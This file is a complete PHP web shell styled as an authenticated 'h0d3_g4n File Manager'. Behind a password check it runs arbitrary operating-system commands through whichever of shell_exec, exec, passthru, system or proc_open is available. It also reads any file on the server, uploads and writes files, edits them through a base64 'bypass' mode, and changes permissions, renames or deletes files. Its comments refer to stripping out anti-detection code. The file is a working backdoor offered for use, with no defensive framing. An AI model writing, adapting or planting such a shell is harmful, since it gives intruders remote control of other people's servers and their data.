<?php
// HAPUS SEMUA BARIS ANTI-DETECTION YANG RUSAK
// Langsung ke kode utama yang bersih

session_start();
error_reporting(0);
ob_start();
ob_implicit_flush(false);

if (!isset($_SESSION['auth'])) {
    if (isset($_POST['pass']) && md5($_POST['pass']) === '82d21e53f74b7a30c620f25404837be9') {
        $_SESSION['auth'] = true;
    } else {
        // Login page yang bersih TANPA base64
        ?>
        <!DOCTYPE html>
        <html>
        <head><title>Login</title>
        <style>body{background:black;color:lime;font-family:monospace;text-align:center;padding:50px;font-size:16px;}
        input{padding:10px;font-size:16px;background:black;color:lime;border:1px solid lime;}
        input[type=submit]{background:lime;color:black;cursor:pointer;}</style>
        </head>
        <body>
        <form method=post>Password: <input name=pass type=password><br><br>
        <input type=submit value="Login"></form>
        </body></html>
        <?php
        exit;
    }
}

// Enable error display setelah login
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(E_ALL);

// SEMUA FUNGSI ASLI (tanpa modifikasi berbahaya)
function strToHex($s) {
    $h = '';
    for ($i = 0; $i < strlen($s); $i++) $h .= sprintf("%02x", ord($s[$i]));
    return $h;
}

function hexToStr($h) {
    $s = '';
    for ($i = 0; $i < strlen($h); $i += 2) $s .= chr(hexdec($h[$i] . $h[$i + 1]));
    return $s;
}

function formatSize($s) {
    $u = array('B', 'KB', 'MB', 'GB', 'TB');
    $i = 0;
    while ($s >= 1024 && $i < 4) {
        $s /= 1024;
        $i++;
    }
    return round($s, 2) . ' ' . $u[$i];
}

function getFileDetails($p) {
    $f = array();
    $d = array();
    $i = @scandir($p);
    if (!is_array($i)) return array();
    foreach ($i as $it) {
        if ($it == '.' || $it == '..') continue;
        $fp = $p . '/' . $it;
        $det = array(
            'name' => $it,
            'type' => is_dir($fp) ? 'Folder' : 'File',
            'size' => is_dir($fp) ? '' : formatSize(filesize($fp)),
            'permission' => substr(sprintf('%o', fileperms($fp)), -4)
        );
        is_dir($fp) ? $d[] = $det : $f[] = $det;
    }
    return array_merge($d, $f);
}

function getCurrentDirectory() {
    return realpath(getcwd());
}

function getLink($p, $n) {
    return is_dir($p) ? '<a href="?dir=' . urlencode(strToHex($p)) . '">' . htmlspecialchars($n) . '</a>' : '<a href="#" onclick="openEditModalHex(\'' . urlencode(strToHex($p)) . '\'); return false;">' . htmlspecialchars($n) . '</a>';
}

function showBreadcrumb($p) {
    $p = str_replace('\\\\', '/', $p);
    $paths = explode('/', $p);
    echo '<div class="breadcrumb"><a href="?dir=' . urlencode(strToHex('/')) . '">/</a>';
    $acc = '';
    foreach ($paths as $pa) {
        if ($pa === '') continue;
        $acc .= '/' . $pa;
        echo '<a href="?dir=' . urlencode(strToHex($acc)) . '">' . htmlspecialchars($pa) . '</a>/';
    }
    echo '</div>';
}

// Inisialisasi
$curDir = getCurrentDirectory();
$msg = '';
$cmdOutput = '';

// Handle requests
if (isset($_GET['get_filename'])) {
    echo basename(hexToStr($_GET['get_filename']));
    exit;
}

if (isset($_GET['ambil-lc-cok'])) {
    $f = hexToStr($_GET['ambil-lc-cok']);
    if (file_exists($f)) echo file_get_contents($f);
    exit;
}

if (isset($_GET['dir'])) {
    @chdir(hexToStr($_GET['dir']));
    $curDir = getCurrentDirectory();
}

// Process POST requests
if (isset($_POST['new_folder']) && !empty($_POST['folder_name'])) {
    if (!file_exists($curDir . '/' . $_POST['folder_name'])) mkdir($curDir . '/' . $_POST['folder_name'], 0755, true);
    $msg = 'Folder created.';
}

if (isset($_POST['new_file']) && !empty($_POST['file_name'])) {
    file_put_contents($curDir . '/' . $_POST['file_name'], isset($_POST['file_content']) ? $_POST['file_content'] : '');
    $msg = 'File created.';
}

if (isset($_POST['upload_file']) && isset($_FILES['uploaded_file'])) {
    move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $curDir . '/' . $_FILES['uploaded_file']['name']);
    $msg = 'File uploaded.';
}

if (isset($_POST['edit_file'])) {
    $file = hexToStr($_POST['edit_file']);
    if (file_exists($file)) {
        $c = isset($_POST['content']) ? $_POST['content'] : '';
        if (isset($_POST['mode']) && $_POST['mode'] === 'Y') $c = base64_decode($c);
        file_put_contents($file, $c) ? $msg = 'File berhasil diedit.' : $msg = 'Gagal mengedit file.';
    }
}

if (isset($_POST['rename_path']) && !empty($_POST['new_name'])) {
    $old = hexToStr($_POST['rename_path']);
    if (file_exists($old)) rename($old, dirname($old) . '/' . $_POST['new_name']);
    $msg = 'Renamed successfully.';
}

if (isset($_POST['chmod_path']) && !empty($_POST['chmod_value'])) {
    chmod(hexToStr($_POST['chmod_path']), intval($_POST['chmod_value'], 8));
    $msg = 'Permission changed.';
}

if (isset($_POST['delete_path'])) {
    $f = hexToStr($_POST['delete_path']);
    if (is_file($f)) unlink($f);
    elseif (is_dir($f)) {
        $fs = glob($f . '/*');
        foreach ($fs as $fi) is_dir($fi) ? rmdir($fi) : unlink($fi);
        rmdir($f);
    }
    $msg = 'Deleted successfully.';
}

if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $c = $_POST['cmd'];
    try {
        if (function_exists('shell_exec')) $cmdOutput = shell_exec($c . ' 2>&1');
        elseif (function_exists('exec')) {
            exec($c . ' 2>&1', $o);
            $cmdOutput = implode("\\n", $o);
        }
        elseif (function_exists('passthru')) {
            ob_start();
            passthru($c . ' 2>&1');
            $cmdOutput = ob_get_clean();
        }
        elseif (function_exists('system')) {
            ob_start();
            system($c . ' 2>&1');
            $cmdOutput = ob_get_clean();
        }
        elseif (function_exists('proc_open')) {
            $d = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
            $p = proc_open($c, $d, $pipes);
            if (is_resource($p)) {
                $cmdOutput = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($p);
            }
        } else $cmdOutput = 'Command execution disabled.';
    } catch (Exception $e) {
        $cmdOutput = 'Error: ' . $e->getMessage();
    }
}
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body{font-family:'Segoe UI',Tahoma,sans-serif;margin:20px;background:#f4f6f8;color:#333;}
h1{color:#333;}.breadcrumb a{text-decoration:none;margin-right:5px;color:#3498db;}.breadcrumb a:hover{text-decoration:underline;}
.toolbar{display:flex;flex-wrap:wrap;gap:10px;margin-bottom:20px;align-items:flex-start;}
.toolbar form{display:flex;flex-direction:column;gap:5px;background:#fff;padding:10px;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);}
input[type=text],textarea,input[type=file]{padding:8px;border:1px solid #ccc;border-radius:5px;font-size:14px;}
button.button{padding:8px 15px;background:#3498db;color:#fff;border:none;border-radius:5px;cursor:pointer;transition:0.3s;}
button.button:hover{background:#2980b9;}
table{width:100%;border-collapse:collapse;background:#fff;border-radius:8px;overflow:hidden;box-shadow:0 2px 5px rgba(0,0,0,0.1);}
th,td{padding:12px 15px;text-align:left;}th{background:#3498db;color:#fff;font-weight:normal;}
tr:nth-child(even){background:#f9f9f9;}tr:hover{background:#f1f1f1;}
a.action-link{color:#3498db;text-decoration:none;margin-right:5px;}a.action-link:hover{text-decoration:underline;}
textarea{resize:vertical;}#notification{display:none;position:fixed;top:20px;right:20px;background:#2ecc71;color:#fff;padding:15px;border-radius:8px;z-index:1000;box-shadow:0 2px 10px rgba(0,0,0,0.3);}
.modal{display:none;position:fixed;z-index:999;left:0;top:0;width:100%;height:100%;overflow:auto;background:rgba(0,0,0,0.6);}
.modal-content{background:#fff;margin:5% auto;padding:20px;border-radius:8px;width:90%;max-width:900px;box-shadow:0 2px 10px rgba(0,0,0,0.3);}
.close{color:#aaa;float:right;font-size:28px;font-weight:bold;cursor:pointer;}.close:hover{color:#000;}
textarea#modal-textarea{width:100%;height:400px;font-family:monospace;font-size:14px;}
@media(max-width:768px){.toolbar{flex-direction:column;}textarea#modal-textarea{height:250px;}}
</style>
</head>
<body>
<h1>h0d3_g4n File Manager (Auth Protected)</h1>
<?php if ($msg): ?>
<div id="notification"><?php echo htmlspecialchars($msg); ?></div>
<?php endif; ?>
<?php showBreadcrumb($curDir); ?>

<div class="toolbar">
<form method="get"><button type="submit" class="button">Home</button></form>
<form method="post">
    <input type="text" name="folder_name" placeholder="New Folder Name">
    <button type="submit" name="new_folder" class="button">Create Folder</button>
</form>
<form method="post">
    <input type="text" name="file_name" placeholder="New File Name">
    <textarea name="file_content" placeholder="File Content" rows="2"></textarea>
    <button type="submit" name="new_file" class="button">Create File</button>
</form>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="uploaded_file" required>
    <button type="submit" name="upload_file" class="button">Upload</button>
</form>
<form method="post">
    <input type="text" name="cmd" placeholder="Enter command">
    <button type="submit" class="button">Execute</button>
</form>
</div>

<?php if ($cmdOutput): ?>
<pre style="background:#fff;padding:10px;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);height:200px;overflow:auto;"><?php echo htmlspecialchars($cmdOutput); ?></pre>
<?php endif; ?>

<table>
<tr><th>Name</th><th>Type</th><th>Size</th><th>Permission</th><th>Actions</th></tr>
<?php foreach (getFileDetails($curDir) as $f): 
    $full = $curDir . '/' . $f['name'];
?>
<tr>
<td><?php echo getLink($full, $f['name']); ?></td>
<td><?php echo $f['type']; ?></td>
<td><?php echo $f['size']; ?></td>
<td><?php echo $f['permission']; ?></td>
<td>
    <a href="#" onclick="openEditModalHex('<?php echo urlencode(strToHex($full)); ?>'); return false;" class="action-link">Edit</a> | 
    <a href="#" onclick="openRenameModal('<?php echo urlencode(strToHex($full)); ?>'); return false;" class="action-link">Rename</a> | 
    <a href="#" onclick="openChmodModal('<?php echo urlencode(strToHex($full)); ?>'); return false;" class="action-link">Chmod</a> | 
    <a href="#" onclick="openDeleteModal('<?php echo urlencode(strToHex($full)); ?>'); return false;" class="action-link">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</table>

<!-- MODALS (sama persis dengan asli) -->
<div id="editModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeEditModal()">&times;</span>
<h2>Edit File: <span id="modal-filename"></span></h2>
<form method="post" id="editForm">
<input type="hidden" name="edit_file" id="modal-filepath">
<label>Bypass Mode:</label>
<select id="modal-mode" name="mode">
<option value="">-- Pilih --</option>
<option value="Y">Y (Base64)</option>
<option value="N">N (Decode)</option>
</select>
<textarea name="content" id="modal-textarea"></textarea><br>
<button type="submit" class="button">Save</button>
<button type="button" class="button" onclick="closeEditModal()" style="background:#95a5a6;">Cancel</button>
</form>
</div>
</div>

<!-- Rename, Chmod, Delete modals sama persis -->
<div id="renameModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeRenameModal()">&times;</span>
<h2>Rename: <span id="rename-filename"></span></h2>
<form method="post">
<input type="hidden" name="rename_path" id="rename-path">
<input type="text" name="new_name" id="rename-input" placeholder="New Name">
<button type="submit" class="button">Rename</button>
<button type="button" class="button" onclick="closeRenameModal()">Cancel</button>
</form>
</div>
</div>

<div id="chmodModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeChmodModal()">&times;</span>
<h2>Change Permission: <span id="chmod-filename"></span></h2>
<form method="post">
<input type="hidden" name="chmod_path" id="chmod-path">
<input type="text" name="chmod_value" id="chmod-input" placeholder="e.g., 0755">
<button type="submit" class="button">Change</button>
<button type="button" class="button" onclick="closeChmodModal()">Cancel</button>
</form>
</div>
</div>

<div id="deleteModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeDeleteModal()">&times;</span>
<h2>Delete: <span id="delete-filename"></span></h2>
<form method="post">
<input type="hidden" name="delete_path" id="delete-path">
<button type="submit" class="button" style="background:#e74c3c;">Delete</button>
<button type="button" class="button" onclick="closeDeleteModal()">Cancel</button>
</form>
</div>
</div>

<script>
function showNotification(msg) {
    var n = document.getElementById('notification');
    n.innerText = msg;
    n.style.display = 'block';
    setTimeout(function() { n.style.display = 'none'; }, 3000);
}
<?php if ($msg): ?>
showNotification('<?php echo addslashes($msg); ?>');
<?php endif; ?>

var modalTextarea = document.getElementById('modal-textarea');
var modalMode = document.getElementById('modal-mode');

function openEditModalHex(hexPath) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '?ambil-lc-cok=' + hexPath, true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4 && xhr.status == 200) {
            modalTextarea.value = xhr.responseText;
            document.getElementById('modal-filepath').value = hexPath;
            var xhr2 = new XMLHttpRequest();
            xhr2.open('GET', '?get_filename=' + hexPath, true);
            xhr2.onreadystatechange = function() {
                if (xhr2.readyState == 4 && xhr2.status == 200) {
                    document.getElementById('modal-filename').innerText = xhr2.responseText;
                }
            };
            xhr2.send();
            document.getElementById('editModal').style.display = 'block';
        }
    };
    xhr.send();
}

function closeEditModal() { document.getElementById('editModal').style.display = 'none'; }
function openRenameModal(path) {
    document.getElementById('rename-path').value = path;
    document.getElementById('renameModal').style.display = 'block';
}
function closeRenameModal() { document.getElementById('renameModal').style.display = 'none'; }
function openChmodModal(path) {
    document.getElementById('chmod-path').value = path;
    document.getElementById('chmodModal').style.display = 'block';
}
function closeChmodModal() { document.getElementById('chmodModal').style.display = 'none'; }
function openDeleteModal(path) {
    document.getElementById('delete-path').value = path;
    document.getElementById('deleteModal').style.display = 'block';
}
function closeDeleteModal() { document.getElementById('deleteModal').style.display = 'none'; }

modalMode.addEventListener('change', function() {
    var t = modalTextarea.value, m = modalMode.value;
    if (!t || !m) return;
    try {
        if (m === 'Y') {
            modalTextarea.value = btoa(unescape(encodeURIComponent(t)));
        } else if (m === 'N') {
            modalTextarea.value = decodeURIComponent(escape(atob(t)));
        }
    } catch (e) {
        alert('Encoding error!');
    }
});

window.onclick = function(e) {
    if (e.target.id === 'editModal') closeEditModal();
    if (e.target.id === 'renameModal') closeRenameModal();
    if (e.target.id === 'chmodModal') closeChmodModal();
    if (e.target.id === 'deleteModal') closeDeleteModal();
};
</script>

<div style="text-align:center;margin-top:20px;font-size:14px;color:#666;">
© 2025 h0d3_g4n File Manager
</div>
</body>
</html>
<?php ob_end_flush(); ?>